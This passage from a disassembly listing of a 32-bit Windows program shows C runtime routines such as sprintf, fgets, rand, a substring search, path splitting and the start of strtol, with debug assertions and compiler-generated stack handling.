; ---------------------------------------------------------------------------


loc_41B6CB:				; CODE XREF: sub_41B600+C2j
		mov	dword_4EF8B8, 1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4F1320	; ExitProcess


loc_41B6DF:				; CODE XREF: sub_41B600+C9j
		mov	esp, ebp
		pop	ebp
		retn
sub_41B600	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B6F0	proc near		; CODE XREF: sub_41B600+4p
					; sub_41D930+4p
		push	ebp
		mov	ebp, esp
		push	0Dh
		call	sub_41FB40
		add	esp, 4
		pop	ebp
		retn
sub_41B6F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B700	proc near		; CODE XREF: sub_41B600+C4p
					; sub_41D930+61p ...
		push	ebp
		mov	ebp, esp
		push	0Dh
		call	sub_41FBE0
		add	esp, 4
		pop	ebp
		retn
sub_41B700	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B710	proc near		; CODE XREF: sub_41B540+1Cp
					; sub_41B540+2Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp


loc_41B713:				; CODE XREF: sub_41B710+21j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_41B733
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 0
		jz	short loc_41B728
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx]


loc_41B728:				; CODE XREF: sub_41B710+11j
		mov	eax, [ebp+arg_0]
		add	eax, 4
		mov	[ebp+arg_0], eax
		jmp	short loc_41B713
; ---------------------------------------------------------------------------


loc_41B733:				; CODE XREF: sub_41B710+9j
		pop	ebp
		retn
sub_41B710	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B740	proc near		; CODE XREF: sub_40141B+18Cp
					; sub_40141B+292p ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_8]
		mov	[ebp+var_2C], ecx


loc_41B755:				; CODE XREF: sub_41B740+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_41B779
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	5Dh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41B779
		int	3		; Trap to Debugger


loc_41B779:				; CODE XREF: sub_41B740+19j
					; sub_41B740+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41B755


loc_41B77F:				; CODE XREF: sub_41B740+67j
		cmp	[ebp+arg_4], 0
		jnz	short loc_41B7A3
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	5Eh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41B7A3
		int	3		; Trap to Debugger


loc_41B7A3:				; CODE XREF: sub_41B740+43j
					; sub_41B740+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41B77F
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx+0Ch], 42h
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_0]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	eax, [ebp+var_24]
		mov	dword ptr [eax+4], 7FFFFFFFh
		mov	ecx, [ebp+var_2C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_422D70
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+var_24]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_24]
		cmp	dword ptr [ecx+4], 0
		jl	short loc_41B81F
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		mov	byte ptr [eax],	0
		xor	ecx, ecx
		and	ecx, 0FFh
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_24]
		mov	[ecx], eax
		jmp	short loc_41B830
; ---------------------------------------------------------------------------


loc_41B81F:				; CODE XREF: sub_41B740+BBj
		mov	edx, [ebp+var_24]
		push	edx
		push	0
		call	sub_422AF0
		add	esp, 8
		mov	[ebp+var_30], eax


loc_41B830:				; CODE XREF: sub_41B740+DDj
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41B740	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B840	proc near		; CODE XREF: sub_40141B+45p
					; sub_401CC1+2C0Ep ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		call	sub_423CF0
		mov	ecx, [ebp+arg_0]
		mov	[eax+14h], ecx
		pop	ebp
		retn
sub_41B840	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B850	proc near		; CODE XREF: sub_40141B:loc_401570p
					; sub_40141B:loc_40189Bp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_423CF0
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		imul	ecx, 343FDh
		add	ecx, 269EC3h
		mov	edx, [ebp+var_4]
		mov	[edx+14h], ecx
		mov	eax, [ebp+var_4]
		mov	eax, [eax+14h]
		shr	eax, 10h
		and	eax, 7FFFh
		mov	esp, ebp
		pop	ebp
		retn
sub_41B850	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B890	proc near		; CODE XREF: sub_40141B+12Ap
					; sub_401CC1+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B90A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B8F7


loc_41B8A8:				; CODE XREF: sub_41B890+52j
					; sub_41B890+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B8CA
		test	al, al
		jz	short loc_41B8C4


loc_41B8B9:				; CODE XREF: sub_41B890+32j
		mov	al, [esi]
		inc	esi


loc_41B8BC:				; CODE XREF: sub_41B890+3Fj
		cmp	al, dl
		jz	short loc_41B8CA
		test	al, al
		jnz	short loc_41B8B9


loc_41B8C4:				; CODE XREF: sub_41B890+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B8CA:				; CODE XREF: sub_41B890+23j
					; sub_41B890+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B8BC
		lea	edi, [esi-1]


loc_41B8D4:				; CODE XREF: sub_41B890+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B903
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B8A8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B903
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B8D4
		jmp	short loc_41B8A8
; ---------------------------------------------------------------------------


loc_41B8F7:				; CODE XREF: sub_41B890+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C406
; ---------------------------------------------------------------------------


loc_41B903:				; CODE XREF: sub_41B890+49j
					; sub_41B890+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B90A:				; CODE XREF: sub_41B890+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B890	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B910	proc near		; CODE XREF: sub_40141B+117p
					; sub_401CC1+1A1Cp ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_C]
		mov	[ebp+var_2C], ecx


loc_41B925:				; CODE XREF: sub_41B910+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_41B949
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	5Dh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41B949
		int	3		; Trap to Debugger


loc_41B949:				; CODE XREF: sub_41B910+19j
					; sub_41B910+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41B925


loc_41B94F:				; CODE XREF: sub_41B910+67j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41B973
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	5Eh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41B973
		int	3		; Trap to Debugger


loc_41B973:				; CODE XREF: sub_41B910+43j
					; sub_41B910+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41B94F
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx+0Ch], 42h
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_0]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_422D70
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	edx, [ebp+var_24]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	ecx, [ebp+var_24]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_24]
		cmp	dword ptr [edx+4], 0
		jl	short loc_41B9EE
		mov	eax, [ebp+var_24]
		mov	ecx, [eax]
		mov	byte ptr [ecx],	0
		xor	edx, edx
		and	edx, 0FFh
		mov	[ebp+var_30], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+var_24]
		mov	[edx], ecx
		jmp	short loc_41B9FF
; ---------------------------------------------------------------------------


loc_41B9EE:				; CODE XREF: sub_41B910+BAj
		mov	eax, [ebp+var_24]
		push	eax
		push	0
		call	sub_422AF0
		add	esp, 8
		mov	[ebp+var_30], eax


loc_41B9FF:				; CODE XREF: sub_41B910+DCj
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41B910	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA10	proc near		; CODE XREF: sub_40141B+F7p
					; sub_401CC1+1D09p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_418D00
		add	esp, 4
		cmp	eax, 1
		jb	short loc_41BA6B
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx+1]
		cmp	edx, 3Ah
		jnz	short loc_41BA6B
		cmp	[ebp+arg_4], 0
		jz	short loc_41BA60
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_4246D0
		add	esp, 0Ch
		mov	edx, [ebp+arg_4]
		mov	byte ptr [edx+2], 0


loc_41BA60:				; CODE XREF: sub_41BA10+35j
		mov	eax, [ebp+arg_0]
		add	eax, 2
		mov	[ebp+arg_0], eax
		jmp	short loc_41BA77
; ---------------------------------------------------------------------------


loc_41BA6B:				; CODE XREF: sub_41BA10+23j
					; sub_41BA10+2Fj
		cmp	[ebp+arg_4], 0
		jz	short loc_41BA77
		mov	ecx, [ebp+arg_4]
		mov	byte ptr [ecx],	0


loc_41BA77:				; CODE XREF: sub_41BA10+59j
					; sub_41BA10+5Fj
		mov	[ebp+var_C], 0
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		jmp	short loc_41BA8F
; ---------------------------------------------------------------------------


loc_41BA86:				; CODE XREF: sub_41BA10:loc_41BAECj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_41BA8F:				; CODE XREF: sub_41BA10+74j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_41BAEE
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		xor	edx, edx
		mov	dl, byte_4EFE61[ecx]
		and	edx, 4
		test	edx, edx
		jz	short loc_41BABA
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_41BAEC
; ---------------------------------------------------------------------------


loc_41BABA:				; CODE XREF: sub_41BA10+9Dj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Fh
		jz	short loc_41BAD0
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 5Ch
		jnz	short loc_41BADB


loc_41BAD0:				; CODE XREF: sub_41BA10+B3j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_C], edx
		jmp	short loc_41BAEC
; ---------------------------------------------------------------------------


loc_41BADB:				; CODE XREF: sub_41BA10+BEj
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 2Eh
		jnz	short loc_41BAEC
		mov	edx, [ebp+var_4]
		mov	[ebp+var_8], edx


loc_41BAEC:				; CODE XREF: sub_41BA10+A8j
					; sub_41BA10+C9j ...
		jmp	short loc_41BA86
; ---------------------------------------------------------------------------


loc_41BAEE:				; CODE XREF: sub_41BA10+87j
		cmp	[ebp+var_C], 0
		jz	short loc_41BB44
		cmp	[ebp+arg_8], 0
		jz	short loc_41BB3C
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+arg_0]
		cmp	eax, 0FFh
		jnb	short loc_41BB12
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+arg_0]
		mov	[ebp+var_14], ecx
		jmp	short loc_41BB19
; ---------------------------------------------------------------------------


loc_41BB12:				; CODE XREF: sub_41BA10+F5j
		mov	[ebp+var_14], 0FFh


loc_41BB19:				; CODE XREF: sub_41BA10+100j
		mov	edx, [ebp+var_14]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		call	sub_4246D0
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_10]
		mov	byte ptr [eax],	0


loc_41BB3C:				; CODE XREF: sub_41BA10+E8j
		mov	ecx, [ebp+var_C]
		mov	[ebp+arg_0], ecx
		jmp	short loc_41BB50
; ---------------------------------------------------------------------------


loc_41BB44:				; CODE XREF: sub_41BA10+E2j
		cmp	[ebp+arg_8], 0
		jz	short loc_41BB50
		mov	edx, [ebp+arg_8]
		mov	byte ptr [edx],	0


loc_41BB50:				; CODE XREF: sub_41BA10+132j
					; sub_41BA10+138j
		cmp	[ebp+var_8], 0
		jz	loc_41BBFA
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_0]
		jb	loc_41BBFA
		cmp	[ebp+arg_C], 0
		jz	short loc_41BBAF
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+arg_0]
		cmp	ecx, 0FFh
		jnb	short loc_41BB85
		mov	edx, [ebp+var_8]
		sub	edx, [ebp+arg_0]
		mov	[ebp+var_18], edx
		jmp	short loc_41BB8C
; ---------------------------------------------------------------------------


loc_41BB85:				; CODE XREF: sub_41BA10+168j
		mov	[ebp+var_18], 0FFh


loc_41BB8C:				; CODE XREF: sub_41BA10+173j
		mov	eax, [ebp+var_18]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_4246D0
		add	esp, 0Ch
		mov	ecx, [ebp+arg_C]
		add	ecx, [ebp+var_10]
		mov	byte ptr [ecx],	0


loc_41BBAF:				; CODE XREF: sub_41BA10+15Aj
		cmp	[ebp+arg_10], 0
		jz	short loc_41BBF8
		mov	edx, [ebp+var_4]
		sub	edx, [ebp+var_8]
		cmp	edx, 0FFh
		jnb	short loc_41BBCE
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------


loc_41BBCE:				; CODE XREF: sub_41BA10+1B1j
		mov	[ebp+var_1C], 0FFh


loc_41BBD5:				; CODE XREF: sub_41BA10+1BCj
		mov	ecx, [ebp+var_1C]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	sub_4246D0
		add	esp, 0Ch
		mov	edx, [ebp+arg_10]
		add	edx, [ebp+var_10]
		mov	byte ptr [edx],	0


loc_41BBF8:				; CODE XREF: sub_41BA10+1A3j
		jmp	short loc_41BC4E
; ---------------------------------------------------------------------------


loc_41BBFA:				; CODE XREF: sub_41BA10+144j
					; sub_41BA10+150j
		cmp	[ebp+arg_C], 0
		jz	short loc_41BC42
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		cmp	eax, 0FFh
		jnb	short loc_41BC18
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_0]
		mov	[ebp+var_20], ecx
		jmp	short loc_41BC1F
; ---------------------------------------------------------------------------


loc_41BC18:				; CODE XREF: sub_41BA10+1FBj
		mov	[ebp+var_20], 0FFh


loc_41BC1F:				; CODE XREF: sub_41BA10+206j
		mov	edx, [ebp+var_20]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_4246D0
		add	esp, 0Ch
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+var_10]
		mov	byte ptr [eax],	0


loc_41BC42:				; CODE XREF: sub_41BA10+1EEj
		cmp	[ebp+arg_10], 0
		jz	short loc_41BC4E
		mov	ecx, [ebp+arg_10]
		mov	byte ptr [ecx],	0


loc_41BC4E:				; CODE XREF: sub_41BA10:loc_41BBF8j
					; sub_41BA10+236j
		mov	esp, ebp
		pop	ebp
		retn
sub_41BA10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BC60	proc near		; CODE XREF: sub_401B49+8p
					; sub_401CC1+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BC80


loc_41BC6C:				; CODE XREF: sub_41BC60+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BC6C


loc_41BC80:				; CODE XREF: sub_41BC60+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BC60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC90	proc near		; CODE XREF: sub_401CC1+69B8p
					; sub_401CC1+69E7p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_10], ecx


loc_41BCA5:				; CODE XREF: sub_41BC90+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_41BCC9
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	3Bh
		push	offset aFgets_c	; "fgets.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41BCC9
		int	3		; Trap to Debugger


loc_41BCC9:				; CODE XREF: sub_41BC90+19j
					; sub_41BC90+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41BCA5


loc_41BCCF:				; CODE XREF: sub_41BC90+67j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41BCF3
		push	offset dword_437514
		push	0
		push	3Ch
		push	offset aFgets_c	; "fgets.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41BCF3
		int	3		; Trap to Debugger


loc_41BCF3:				; CODE XREF: sub_41BC90+43j
					; sub_41BC90+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41BCCF
		cmp	[ebp+arg_4], 0
		jg	short loc_41BD06
		xor	eax, eax
		jmp	loc_41BDC7
; ---------------------------------------------------------------------------


loc_41BD06:				; CODE XREF: sub_41BC90+6Dj
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41ECE0
		add	esp, 4


loc_41BD18:				; CODE XREF: sub_41BC90:loc_41BDADj
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+arg_4], eax
		cmp	[ebp+arg_4], 0
		jz	loc_41BDB2
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+var_4]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0
		jl	short loc_41BD63
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		movsx	ecx, byte ptr [eax]
		and	ecx, 0FFh
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		jmp	short loc_41BD72
; ---------------------------------------------------------------------------


loc_41BD63:				; CODE XREF: sub_41BC90+B1j
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_421F10
		add	esp, 4
		mov	[ebp+var_14], eax


loc_41BD72:				; CODE XREF: sub_41BC90+D1j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_41BD91
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+arg_0]
		jnz	short loc_41BD8F
		mov	[ebp+var_10], 0
		jmp	short loc_41BDB8
; ---------------------------------------------------------------------------


loc_41BD8F:				; CODE XREF: sub_41BC90+F4j
		jmp	short loc_41BDB2
; ---------------------------------------------------------------------------


loc_41BD91:				; CODE XREF: sub_41BC90+ECj
		mov	edx, [ebp+var_8]
		mov	al, byte ptr [ebp+var_C]
		mov	[edx], al
		movsx	ecx, byte ptr [ebp+var_C]
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		cmp	ecx, 0Ah
		jnz	short loc_41BDAD
		jmp	short loc_41BDB2
; ---------------------------------------------------------------------------


loc_41BDAD:				; CODE XREF: sub_41BC90+119j
		jmp	loc_41BD18
; ---------------------------------------------------------------------------


loc_41BDB2:				; CODE XREF: sub_41BC90+95j
					; sub_41BC90:loc_41BD8Fj ...
		mov	eax, [ebp+var_8]
		mov	byte ptr [eax],	0


loc_41BDB8:				; CODE XREF: sub_41BC90+FDj
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41ED50
		add	esp, 4
		mov	eax, [ebp+var_10]


loc_41BDC7:				; CODE XREF: sub_41BC90+71j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41BC90	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_41BDF0
		add	esp, 10h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BDF0	proc near		; CODE XREF: .nsp0:0041BDE1p
					; sub_41C130+11p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], 0
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_8], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_41BE14:				; CODE XREF: sub_41BDF0+77j
		cmp	dword_4516A8, 1
		jle	short loc_41BE36
		push	8
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFh
		push	ecx
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_18], eax
		jmp	short loc_41BE50
; ---------------------------------------------------------------------------


loc_41BE36:				; CODE XREF: sub_41BDF0+2Bj
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		mov	eax, off_45149C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8
		mov	[ebp+var_18], ecx


loc_41BE50:				; CODE XREF: sub_41BDF0+44j
		cmp	[ebp+var_18], 0
		jz	short loc_41BE69
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_8], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_41BE14
; ---------------------------------------------------------------------------


loc_41BE69:				; CODE XREF: sub_41BDF0+64j
		movsx	edx, byte ptr [ebp+var_8]
		cmp	edx, 2Dh
		jnz	short loc_41BE8D
		mov	eax, [ebp+arg_C]
		or	al, 2
		mov	[ebp+arg_C], eax
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_8], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_41BEA7
; ---------------------------------------------------------------------------


loc_41BE8D:				; CODE XREF: sub_41BDF0+80j
		movsx	ecx, byte ptr [ebp+var_8]
		cmp	ecx, 2Bh
		jnz	short loc_41BEA7
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_8], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_41BEA7:				; CODE XREF: sub_41BDF0+9Bj
					; sub_41BDF0+A4j
		cmp	[ebp+arg_8], 0
		jl	short loc_41BEB9
		cmp	[ebp+arg_8], 1
		jz	short loc_41BEB9
		cmp	[ebp+arg_8], 24h
		jle	short loc_41BECE


loc_41BEB9:				; CODE XREF: sub_41BDF0+BBj
					; sub_41BDF0+C1j
		cmp	[ebp+arg_4], 0
		jz	short loc_41BEC7
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	[edx], eax


loc_41BEC7:				; CODE XREF: sub_41BDF0+CDj
		xor	eax, eax
		jmp	loc_41C11D
; ---------------------------------------------------------------------------


loc_41BECE:				; CODE XREF: sub_41BDF0+C7j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41BF0C
		movsx	ecx, byte ptr [ebp+var_8]
		cmp	ecx, 30h
		jz	short loc_41BEE6
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BF0C
; ---------------------------------------------------------------------------


loc_41BEE6:				; CODE XREF: sub_41BDF0+EBj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 78h
